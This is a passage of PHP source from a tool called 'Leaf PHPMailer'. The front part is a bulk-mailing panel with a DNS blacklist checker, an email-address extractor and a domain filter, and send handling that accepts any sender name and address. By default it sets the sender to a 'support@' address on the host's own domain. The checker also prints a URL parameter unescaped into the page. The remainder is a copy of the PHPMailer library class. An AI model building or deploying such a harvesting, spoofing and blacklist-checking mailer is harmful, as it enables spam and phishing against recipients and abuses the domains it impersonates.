        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
